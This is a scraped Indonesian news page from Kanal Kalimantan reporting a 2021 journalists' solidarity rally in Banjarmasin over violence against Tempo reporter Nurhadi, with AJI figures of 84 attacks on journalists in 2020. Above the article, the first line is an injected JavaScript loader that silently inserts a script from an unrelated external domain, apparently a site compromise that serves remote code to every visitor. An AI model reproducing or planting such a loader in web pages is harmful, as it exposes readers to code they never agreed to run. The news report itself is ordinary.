(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Sepanjang 2020 Ada 84 Kasus, Tindak Kekerasan Masih Bayangi Kerja Jurnalis


KANALKALIMANTAN.COM, BANJARMASIN – Tindakan kekerasan yang menimpa Nurhadi, jurnalis Tempo di Surabaya menyulut aksi solidaritas sesama wartawan. Aliansi Jurnalis Independen (AJI) Balikpapan Biro Banjarmasin bersama Perhimpunan Pers Mahasiswa Indonesia (PPMI) Dewan Kerja Banjarmasin ini digelar aksi solidaritas di Jalan Lambung Mangkurat, Banjarmasin, Jumat (2/4/2021) sore.

AJI Indonesia mencatat, sepanjang tahun 2020 ada 84 kasus kekerasan terhadap wartawan, baik dalam bentuk pemukulan, perusakan alat kerja, maupun bentuk-bentuk intimidasi lainnya.

Diananta Putera Sumedi, mantan Pimred Banjarhits yang pernah berurusan dengan pihak kepolisian terkait tugasnya sebagai wartawan, mengungkapkan bahwa kekerasan yang menimpa Nurhadi sebagai bentuk intimidasi terhadap kerja-kerja jurnalistik.

“Sepanjang tahun 2020 ada 10 kasus kriminalisasi pers, dari 10 kasus itu, 2 sudah berkekuatan hukum tetap, salah satunya saya, sementara yang 8 itu masih proses. Baik proses di kepolisian, kejaksaan, maupun proses di persidangan,” ungkap laki-laki yang akrab disapa Nanta ini.

Ditemui usai aksi, Nanta menegaskan bahwa kasus yang menimpa Nurhadi mengisyaratkan kekerasan terhadap wartawan tidak sepenuhnya hilang. Ia juga berharap bahwa kasus kekerasan terhadap Nurhadi ini menjadi yang terakhir kali terjadi.

“Saya juga menghimbau kepada kawan-kawan wartawan dan Lembaga Pers Mahasiswa untuk lebih menguatkan kesadaran kolektif, hal ini penting sebagai bentuk solidaritas sesama wartawan dan pekerja media,” pungkas Diananta.

Sebelumnya, belasan wartawan yang sedang melakukan orasi, baca puisi dan pentas teatrikal, dengan dijaga para petugas kepolisian.

Fariz Fadillah, juru bicara koalisi kemerdekaan pers mengatakan, aksi ini bertujuan untuk memberi peringatan kepada aparat penegak hukum, maupun oknum-oknum yang ingin menghalangi kerja para jurnalis.

“Karena pekerjaan jurnalis sendiri, sudah dilindungi oleh Undang-Undang Pers nomor 40 Tahun 1999,” ujar Fariz
Dalam aksi ini, para peserta aksi menuntut, agar pemerintah dan Polda Jawa Timur, bisa segera mengusut tuntas kasus kekerasan terhadap jurnalis Tempo Nurhadi.

“Selain itu, kami juga mengajak semua pihak untuk melawan segala bentuk kekerasan terhadap jurnalis. Karena jurnalis sejatinya bekerja untuk publik,” ucap Fariz. (kanalkalimantan.com/Nissa)

 

Reporter : Nissa
Editor : Cell

 

 


Al Ghifari

Recent Posts

Calon Haji Tertua Kabupaten Banjar Berusia 86 Tahun, Bupati Banjar Lepas Keberangkatan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur bersama Wakil Bupati Banjar Habib Idrus Al… Read More

2 jam ago

Dua Hari Hilang di Tengah Rawa, Kakek Syahdan Ditemukan Selamat

KANALKALIMANTAN.COM, BARABAI – Tak kunjung pulang ke rumah selama dua hari, seorang kakek yang dikabarkan… Read More

2 jam ago

Halalbihalal Kerukunan Bubuhan Banjar Jabar Dihadiri Paman Birin

KANALKALIMANTAN.COM, BOGOR – Gubernur Kalsel H Sahbirin Noor beserta istri Hj Raudatul Jannah hadiri halalbihalal… Read More

5 jam ago

Serap Aspirasi Gen Z, Pj Bupati Kapuas Erlin Hardi Main ke Kafe

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menyambangi kafe untuk menyerap langsung… Read More

7 jam ago

TPK Kelurahan Selat Hilir Juara 3 Terbaik Nasional 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Kerja keras yang berbuah manis. Ungkapan tersebut tepat disematkan untuk Tim… Read More

7 jam ago

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

9 jam ago

This website uses cookies.